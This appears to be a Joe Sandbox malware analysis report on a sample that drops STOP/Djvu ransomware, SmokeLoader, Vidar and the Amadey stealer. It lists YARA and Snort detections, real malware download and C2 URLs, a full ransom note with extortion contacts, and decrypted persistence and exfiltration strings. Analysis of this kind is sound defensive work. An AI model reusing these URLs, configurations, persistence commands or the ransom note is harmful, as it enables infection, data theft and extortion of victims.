26.2.B46F.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
26.2.B46F.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
28.2.D804.exe.24615a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
28.2.D804.exe.24615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
28.2.D804.exe.24615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
28.2.D804.exe.24615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.D804.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
16.2.D804.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.D804.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.D804.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.D804.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
19.2.D804.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.D804.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.D804.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.D804.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
6.2.D804.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.D804.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.D804.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.D804.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.2.D804.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.D804.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.D804.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
20.0.3C54.exe.4a0000.0.unpack	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x4e2e9c:$s1: Runner 0x4e3001:$s3: RunOnStartup 0x4e2eb0:$a1: Antis 0x4e2edd:$a2: antiVM 0x4e2ee4:$a3: antiSandbox 0x4e2ef0:$a4: antiDebug 0x4e2efa:$a5: antiEmulator 0x4e2f07:$a6: enablePersistence 0x4e2f19:$a7: enableFakeError 0x4e302a:$a8: DetectVirtualMachine 0x4e304f:$a9: DetectSandboxie 0x4e307a:$a10: DetectDebugger 0x4e3089:$a11: CheckEmulator
20.2.3C54.exe.408ef90.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 128 entries

Snort Signatures

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857990532045695 05/28/23-10:42:32.589547
SID:	2045695
Source Port:	57990
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Blackmoon CnC Activity - Source IP: 192.168.2.3 - Destination IP: 103.100.211.218

Timestamp:	192.168.2.3103.100.211.21849720802839238 05/28/23-10:42:49.105133
SID:	2839238
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853975532045695 05/28/23-10:42:39.331614
SID:	2045695
Source Port:	53975
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 211.59.14.90 - Destination IP: 192.168.2.3

Timestamp:	211.59.14.90192.168.2.380497142036335 05/28/23-10:42:46.297030
SID:	2036335
Source Port:	80
Destination Port:	49714
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.3 - Destination IP: 123.140.161.243

Timestamp:	192.168.2.3123.140.161.24349713802036333 05/28/23-10:42:45.165749
SID:	2036333
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860767532045695 05/28/23-10:42:51.638861
SID:	2045695
Source Port:	60767
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.859636532045695 05/28/23-10:42:45.594129
SID:	2045695
Source Port:	59636
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 175.119.10.231 - Destination IP: 192.168.2.3

Timestamp:	175.119.10.231192.168.2.380497112036335 05/28/23-10:42:45.790332
SID:	2036335
Source Port:	80
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.3 - Destination IP: 175.119.10.231

Timestamp:	192.168.2.3175.119.10.23149721802020826 05/28/23-10:42:51.341437
SID:	2020826
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.3 - Destination IP: 123.140.161.243

Timestamp:	192.168.2.3123.140.161.24349713802020826 05/28/23-10:42:45.165749
SID:	2020826
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.3 - Destination IP: 211.59.14.90

Timestamp:	192.168.2.3211.59.14.9049714802833438 05/28/23-10:42:45.438118
SID:	2833438
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.856924532045695 05/28/23-10:42:38.041315
SID:	2045695
Source Port:	56924
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.3 - Destination IP: 175.119.10.231

Timestamp:	192.168.2.3175.119.10.23149721802036333 05/28/23-10:42:51.341437
SID:	2036333
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://zexeq.com/raud/get.php	URL Reputation: Label: malware
Source: http://45.9.74.80/power.exe	URL Reputation: Label: malware
Source: http://zexeq.com/files/1/build3.exe$run	URL Reputation: Label: malware
Source: http://colisumy.com/dl/build2.exe	URL Reputation: Label: malware
Source: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=trueQ58	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exel	Avira URL Cloud: Label: malware
Source: http://colisumy.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: 45.9.74.80/0bjdn2Z/index.php	Avira URL Cloud: Label: malware
Source: http://colisumy.com/dl/build2.exerun3	Avira URL Cloud: Label: malware
Source: https://shsplatform.co.uk/tmp/index.php	Avira URL Cloud: Label: malware
Source: http://45.9.74.80/0bjdn2Z/Plugins/clip64.dll	Avira URL Cloud: Label: malware
Source: http://45.9.74.80/0bjdn2Z/Plugins/cred64.dll	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$runZT	Avira URL Cloud: Label: malware
Source: http://jp.imgjeoighw.com/sts/image.jpgO	Avira URL Cloud: Label: malware
Source: http://zexeq.com/raud/get.phpep	Avira URL Cloud: Label: malware
Source: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C	Avira URL Cloud: Label: malware
Source: http://45.9.74.80/0bjdn2Z/index.php	Avira URL Cloud: Label: malware
Source: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F011280Nkx%	Avira URL Cloud: Label: malware
Source: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=true	Avira URL Cloud: Label: malware
Source: http://colisumy.com/dl/build.exe	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	Avira URL Cloud: Label: malware
Source: http://toobussy.com/tmp/	Avira URL Cloud: Label: malware
Source: http://45.9.74.80/0bjdn2Z/index.php?scr=1	Avira URL Cloud: Label: malware
Source: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806Cg	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exerunb10	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	Avira: detection malicious, Label: HEUR/AGEN.1301090
Source: C:\Users\user\AppData\Local\Temp\9F31.exe	Avira: detection malicious, Label: HEUR/AGEN.1357339
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Avira: detection malicious, Label: HEUR/AGEN.1357339
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen8
Source: C:\Users\user\AppData\Local\Temp\6FA9.exe	Avira: detection malicious, Label: HEUR/AGEN.1357339
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen8
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Avira: detection malicious, Label: HEUR/AGEN.1357339
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Avira: detection malicious, Label: HEUR/AGEN.1319380

Found malware configuration

Source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://toobussy.com/tmp/", "http://wuc11.com/tmp/", "http://ladogatur.ru/tmp/", "http://kingpirate.ru/tmp/"]}
Source: 00000020.00000002.519993720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199508624021", "https://t.me/looking_glassbot"], "Botnet": "e44c96dfdf315ccf17cdd4b93cfe6e48"}
Source: 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/raud/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-tnzomMj6HU\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0717JOsie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windo
Source: 22.2.NewPlayer.exe.60000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "45.9.74.80/0bjdn2Z/index.php", "Version": "3.67"}

Multi AV Scanner detection for submitted file

Source: 01860199.exe	ReversingLabs: Detection: 37%
Source: 01860199.exe	Virustotal: Detection: 38%			Perma Link

Multi AV Scanner detection for domain / URL

Source: colisumy.com	Virustotal: Detection: 23%	Perma Link
Source: potunulit.org	Virustotal: Detection: 22%	Perma Link
Source: jp.imgjeoighw.com	Virustotal: Detection: 19%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build2[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\57DC.exe	ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\6FA9.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\913F.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\9F31.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\A170.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\A3D5.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\B8C8.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\D689.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\XandETC.exe	ReversingLabs: Detection: 72%
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Roaming\hwgujdv	ReversingLabs: Detection: 37%

Machine Learning detection for sample

Source: 01860199.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 45.9.74.80
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: /0bjdn2Z/index.php
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 3.67
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 6d73a97b0c
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: mnolyk.exe
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SCHTASKS
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: /TR "
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: " /F
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Startup
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: rundll32
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: /Delete /TN "
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Programs
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: %USERPROFILE%
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: \App
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: POST
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &vs=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &sd=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &os=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &bi=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &ar=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &pc=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &un=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &dm=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &av=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &lv=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &og=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Main
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: http://
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: https://
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Plugins/
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &unit=
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: shell32.dll
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: kernel32.dll
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: ProgramData\
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: AVAST Software
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Avira
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Kaspersky Lab
